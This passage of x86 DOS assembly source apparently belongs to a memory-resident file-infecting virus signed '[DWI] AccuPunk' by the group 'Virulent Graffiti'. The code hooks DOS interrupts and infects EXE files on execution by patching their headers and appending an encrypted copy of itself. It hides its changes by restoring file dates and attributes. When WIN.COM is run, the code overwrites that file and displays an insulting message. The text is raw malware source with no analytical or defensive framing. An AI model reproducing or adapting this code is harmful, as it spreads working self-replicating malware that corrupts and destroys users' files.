add ax, word ptr cs:[stacksave] ; Adjust SS
cli
mov sp, word ptr cs:[stacksave+2] ; Set SP
mov ss, ax ; Set SS
sti
mov bx, word ptr cs:[jmpsave+2] ; Adjust CodeSeg
add bx, cx
push bx ; Save It
mov bx, word ptr cs:[jmpsave] ; Load IP
push bx ; Save It
retf ; Exit Virus
jmpsave dd 0fff00000h ; Point to INT 20h
stacksave dd ? ; Nada.
put_vir_in_mem:
xor ax,ax ; Interrupt Table
mov ds,ax
les bx, dword ptr ds:[21h*4] ; Int 21h Vector
mov word ptr cs:[old_int_21], bx ; Save Int 21h
mov word ptr ds:[30h*4],bx ; Revector 30h
mov word ptr cs:[old_int_21+2], es
mov word ptr ds:[30h*4+2], es
push cs cs ; Restore Segments
pop es ds
mov ax, 5800h ; Get Mem Alloc
int 21h
push ax ; Save Strategy
mov bx, 2
mov ax, 5801h ; Set to Last Fit
int 21h
mov bx, ((end_vir - entry) / 16) + 1
mov ah, 48h ; Allocate Block
int 21h
push ax ; Returned in AX
sub ax, 10h ; Base Ofs 100h
mov es, ax ; Our Segment
mov di, 100h ; Entry = 100h
mov si, di ; Entry = 100h
mov cx, end_write - entry ; Bytes to Zopy
rep movsb
xor cx, cx ; Interrupt Table
push cx
pop ds
cli
mov word ptr ds:[21h*4], offset Int_21_handler ; Set Int 21h
mov word ptr ds:[21h*4+2], ax
sti
pop ax
sub ax, 1
mov es, ax ; Point To MCB
mov word ptr es:[0001], 0008 ; Config = 0008h
mov ax, 5801h ; Reset Strategy
pop bx
int 21h
jmp exit ; Exit Stub
int_21_handler:
push ax bx cx dx si di bp es ds ; Save Registers
cmp ax, 0ABCDh ; R-U-There?
je r_u_there
cmp ax, 4B00h ; DOS Exec?
je exec_call
back_to_dos:
pop ds es bp di si dx cx bx ax ; Restore Registers
db 0eah ; JMP XXXX:YYYY
old_int_21 dd ?
remove_locks:
xor ax,ax ; Interrupt Table
mov ds,ax
les ax, dword ptr cs:[Old24] ; Get Int 24h Vector
mov word ptr ds:[24h*4], Ax ; And Replace It
mov word ptr ds:[24h*4+2], Es
jmp back_to_dos
r_u_there:
mov bp, sp ; Alter AX On Stack
mov word ptr [bp+10h], 6969h
jmp end_int_21
exec_call:
xor ax,ax ; Revector Int 24h
mov ds,ax
les ax, DWord Ptr ds:[24h*4]
mov word ptr cs:[Old24], ax ; Save Old Vector
mov word ptr cs:[Old24+2], es
mov word ptr ds:[24h*4], Offset My24 ; With Our Vector
mov word ptr ds:[24h*4+2], cs
pop es ; Caller's Ds in Es
push es
mov di, dx ; ES:DI -> filename
push cs
pop ds ; DS:SI -> "WIN.COM"
mov si, offset win_com
push si
find_top:
pop si
push si
lodsb ; AL = "W"
mov cx, 128
repnz scasb ; Scan For "W"
je check_it ; Got a "W", Check It
pop si
jmp infect ; Not WIN.COM
check_it:
mov cl, 7
check_char:
lodsb ; Load Next Character
scasb ; and Check it
jne find_top ; Leave if < >
loop check_char
pop si
nuke_windows:
push es
pop ds
mov ax, 3d02h ; Open WIN.COM
int 30h
xchg ax,bx ; Handle in BX
push cs
pop ds
mov ah, 40h ; Write WIN.COM
mov cx, (my24-win_exit)-1
mov dx, offset win_exit ; with CD 20h
int 30h
mov ah, 3eh ; Close File
int 30h
mov ah, 9 ; Show User Message
mov dx, offset win_msg
int 30h
end_int_21:
pop ds es bp di si dx cx bx ax ; Restore Registers
iret
infect: ; File Infection
push es
pop ds
mov si, dx ; DS:SI -> filename
push cs
pop es
mov di, offset fname
LoopAgain: ; Copy filename into
lodsb ; Our CodeSeg.
stosb
or al,al
jnz LoopAgain
push cs ; CS=DS=ES
pop ds
xor ax, ax ; Get Attributes
call attributes
mov word ptr [fattr], cx ; Save Attributes
mov ax, 3D00h ; Open File
int 30h
jc bad_exe
xchg ax, bx ; BX = File Handle
mov ax, 5700h ; Get File Date/Time
int 30h
mov ftime, cx ; Save Time
mov fdate, dx ; And Date
mov ah, 3Fh ; Read Header
mov cx, 1ah
mov dx, offset buffer ; Into Buffer
int 30h
call LSeekEnd ; LSeek the End
push dx ; Save File Size
push ax
mov ah, 3Eh ; Close File
int 30h
cmp word ptr [buffer], 'ZM'
jne worse_exe ; Not an EXE File
cmp word ptr [buffer+12h], id_word
jne good_exe ; Not Infected
worse_exe:
pop dx ; Remove Saved File
pop dx ; Size
bad_exe:
jmp remove_locks ; Abort Infection
good_exe:
mov al, 01h ; Overwrite Attribs
xor cx, cx
call attributes
jc worse_exe ; Catch Write-Prot
; Discs Here
push cs
pop es
mov si, offset buffer + 14h ; Save Initial CS:IP
mov di, offset jmpsave ; In Segment
movsw
movsw
sub si, 10 ; Save Initial SS:SP
movsw
movsw
pop ax dx ; Retrive File Size
push ax dx ; Save It
add ax, offset end_write - offset entry
adc dx, 0
mov cx, 512 ; Pages 512 Bytes
div cx
or dx, dx
jz no_round
inc ax ; Rounding Quirk
no_round:
mov word ptr [buffer + 4], ax ; Set Total 512 pages
mov word ptr [buffer + 2], dx ; Set Total mod 512
mov ax, word ptr [buffer + 0Ah] ; Get Minimum
add ax, (end_write - entry)/16 ; Add our Size
mov word ptr [buffer + 0ah], ax ; Put us in Minimum
mov word ptr [buffer + 0ch], ax ; and in the Maximum
pop dx ax ; Retrieve File Size
mov cl, 4
mov bx, word ptr [buffer + 8]
shl bx, cl ; BX = Header Size
sub ax, bx
sbb dx, 0 ; Subtract Header
mov cx, 10h
div cx ; Change To Para/Rem
or dx, dx
jz no_padding
sub cx, dx ; CX = Bytes to Pad
inc ax
no_padding:
push cx ; Save Pad Bytes
sub ax, 10h
mov word ptr [buffer + 14h], offset entry ; Set IP
mov word ptr [buffer + 16h], ax ; Set CS
mov word ptr [buffer + 0Eh], ax ; Set SS
mov word ptr [buffer + 10h], offset end_vir+100h ; Set SP
move_id:
mov word ptr [buffer + 12h], id_word ; Set ID Word
; Negative Checksum
mov ax, 3D02h ; Open File
mov dx, offset fname
int 30h
xchg ax, bx ; BX = File Handle
mov ah, 40h ; Write File
mov cx, 1Ah
mov dx, offset buffer
int 30h
call LSeekEnd ; LSeek to End
pop cx ; Retrieve Padding
cmp cx, 16
je no_fixup ; None Needed
mov ah, 40h ; Write File
int 30h
no_fixup:
mov ah, 2ch ; Get Time
int 21h
mov word ptr [Valu+1], Dx ; New Crypt Valu
mov si, offset writeret ; Copy Write
mov di, offset tempcrypt ; Routine
mov cx, (end_write-writeret)
rep movsb
call tempcrypt ; Call Write Routine
mov ax, 5701h ; Set File Time/Date
mov cx, ftime
mov dx, fdate
int 30h
mov ah, 3Eh ; Close File
int 30h
mov al, 01h ; Reset Attribs
mov cx, fattr
call attributes
jmp remove_locks ; Remove Int 24h
vir_ident db 0,'[DWI] AccuPunk/' ; Virus and Author
db 'The Attitude Adjuster' ; Idents
vir_group db 0,'Virulent Graffiti',0 ; Group Ident
win_com db 'WIN.COM',0 ; Target File
win_exit db 0cdh, 20h ; DOS Exit
win_msg db 0dh,0ah ; Message
db 'You''ve been caught, you DWI! You''re nothing '
db 'but a Damn Windows Idiot!',0dh,0ah
db 'Well, we at Virulent Graffiti have had it... '
db 'you''re not going to be',0dh,0ah
db 'running that bullshit for a while, ''cuz, hey, '
db 'friends don''t let friends',0dh,0ah
db 'use Windows! (and you''re damn right we''re '
db 'your friends!)',0dh,0ah,'$'
my24: ; Error Handler
mov al, 3 ; Process Terminate
iret
Attributes: ; Get/Set
mov ah, 43h
mov dx, offset fname
int 30h
ret
LSeekEnd:
mov ax, 4202h ; LSeek from End
xor cx, cx
cwd ; XOR DX, DX
int 30h ; Kudos DA
ret
WriteRet:
push bx ; Handle
mov bx, offset endcrypt ; Virus Start
mov cx, (end_write-endcrypt)/2 ; Ieterations
mov dx, Word Ptr [Valu+1] ; Xor Word
Crypt_Loop2:
rol word ptr [bx], 1 ; Roll it Left!
xor word ptr [bx], dx ; Xor It
inc bx
inc bx
loop Crypt_Loop2
pop bx ; Handle
mov ah, 40h ; Write File
mov cx, end_write - entry
mov dx, offset entry
int 30h
push bx ; Handle
mov bx, offset endcrypt ; Virus Start
mov cx, (end_write-endcrypt)/2 ; Ieterations
mov dx, Word Ptr [Valu+1] ; Xor Word
Crypt_Loop3:
xor word ptr [bx], dx ; Xor It
ror word ptr [bx], 1 ; Roll it Left!
inc bx
inc bx
loop Crypt_Loop3
pop bx ; Handle
ret ; Return
end_write:
old24 dd 0 ; Int 24h Vector
buffer db 1Ah dup (0) ; EXE Read Buffer
fname db 128 dup (0) ; Filename Buffer
fdate dw 0 ; OldFileDate
ftime dw 0 ; OldFileTime
fattr dw 0 ; OldFileAttr
tempcrypt:
db (end_write-writeret) Dup(0) ; Write Routine
end_vir:
end entry